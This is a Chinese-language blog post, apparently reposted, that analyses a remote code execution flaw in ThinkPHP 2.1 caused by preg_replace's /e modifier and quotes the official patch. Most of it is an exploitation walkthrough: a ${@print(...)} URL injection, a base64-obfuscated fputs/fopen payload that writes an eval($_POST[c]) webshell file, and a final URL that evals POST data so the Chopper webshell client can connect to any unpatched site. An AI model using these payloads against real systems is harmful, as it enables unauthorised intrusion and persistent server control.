当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

thinkphp 2.1最新漏洞

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

thinkphp 2.1的版本
 
我们来分析下漏洞吧
 
官方发布了一个安全补丁
 
表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。
 
官方的补丁:
 
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
 
 
 
125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));
 
 
 
这个代码是把pathinfo当作restful类型url进行解析的,涛涛电脑知识网,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。
然而在用正则解析pathinfo的时候,主要是这一句:
 
 
 
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
 
 
 
这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。
 
‘$var['\1']=”\2″;’
 
而这里又是双引号,涛涛电脑知识网,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:
 
index.php/module/action/param1/${@print(THINK_VERSION)}
 
执行效果如下:
 
 


 
就是说
 
print( )里面可以执行我们的任意代码
 
如phpinfo()等其他函数
 
那就行了
 
我们可以直接利用
 
fputs和fopen函数直接写木马出来了
 
构造语句
 
fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))
 
base64_decode(“bW0ucGhw”)解码后是mm.php
 
base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解码后是<?eval($_POST[c]);?>
 
只要执行了 就能在该目录下生成一个mm.php的一句话木马文件
 
但是操作的时候出现了问题
 
 


 
经分析 是双引号被转义了
 
然后我试了其他几种不用双引号写马的代码
 
都失败了  原因是  <>  尖括号等都被转义了   而用
 
exec()等系统命令执行函数写马的话是写不出的
 
网上的利用方法貌似很少  只有神刀网的那个用echo写马的方法
 
但是前提是双引号没有被转义掉才能成功
 
怎么办呢
 
这个时候不要太拘泥于这里了
 
一个中国人搞安全怎么能忘记中国人写的软件菜刀了
 
直接构造代码
 
 
 
/project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}
 
 
 
菜刀里面直接填这个路径 密码C  就能连接了
 
 
 



 
 
根本不用拘泥于写马的问题
 
作者:Seay's blog 小程序猿守护着信息安全、

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1